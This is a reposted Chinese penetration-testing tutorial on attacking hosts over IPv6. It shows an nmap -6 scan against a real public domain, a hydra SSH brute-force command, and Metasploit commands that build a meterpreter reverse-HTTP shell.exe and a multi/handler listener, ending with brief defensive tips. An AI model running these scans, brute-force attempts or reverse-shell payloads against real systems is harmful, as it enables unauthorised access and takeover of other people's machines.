文章总结： 文章演示通过ping域名获取IPv6地址后，用nmap-6扫描端口、hydra爆破SSH与MySQL弱口令，并利用CS与MSF配置IPv6监听实现跨网段上线，指出域名解析与弱口令是主要入口，建议关闭公网敏感端口并强化密码。
综合评分： 72
文章分类： 渗透测试,红队,内网渗透,安全工具,漏洞分析
“肾透”中针对IPV6的攻击和防范
原创
大表哥吆
kali笔记
2026年1月5日 22:50
甘肃
随着IPv6网络的普及。极大地方便了我们的工作。但同时也带来了相对隐藏的安全隐患。因此，本文从攻击者的角度演示IPv6在渗透测试中的利用，和如何防范相应的安全措施。
信息收集及利用
如何获取IPv6地址？相对IPv4、ipv6更长、更不容易记忆，且随时发生变化。因此很多人觉得自己很“安全”。
为了方便自己，我们常将ipv6地址解析到域名。而这也为安全埋下了隐患。
因此，我们可以通过ping域名的形式获取对方的IP地址。如下：
利用ping可以获取ipv6地址
端口扫描
同样，我们可以利用nmap命令对目标进行端口扫描。
nmap -6 -T4 -A baidu.com
其中-6 指明该目标为ipv6目标。
如上，我们扫描得到，系统类型为Debian。分别开启常见的22``80``3306等端口。有些大佬在本地环境中部署程序时，为了方便自己喜欢用弱口令，而这也对攻击者有了可乘之机！
利用弱口令登录qbittorrent下载器
对设备密码破解
可以尝试对主机的22``3306端口进行暴力破解。示例如下：
hydra -L user.txt -P pass.txt -t 10 -o save.log -vV #ipv6地址# ssh
IPV6上线Shell
我们在上线Payload时，常常苦于没有公网IP而无法实现跨网段上线设备。而IPV6为我们打开了新的思路。
CS配置
新建监听IPV6地址
生成payload
上线设备
msf配置
很简单，将原来的ipv4地址改成ipv6就行了。
msfconsole
use payload/windows/x64/meterpreter_reverse_http
set LHOST ipv6
set LPORT 4444
# 生成shell
generate -f exe -o shell.exe
配置监听
use exploits/multi/handler
set payload windows/x64/meterpreter_reverse_http
set LHOST ipv6
set LPORT 4444
exploit
安全建议
- 非必要，请勿将敏感端口暴露在公网环境。
- 强化密码，定期更新漏洞。
更多精彩文章 欢迎关注我们
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：kali笔记 大表哥吆《“肾透”中针对IPV6的攻击和防范》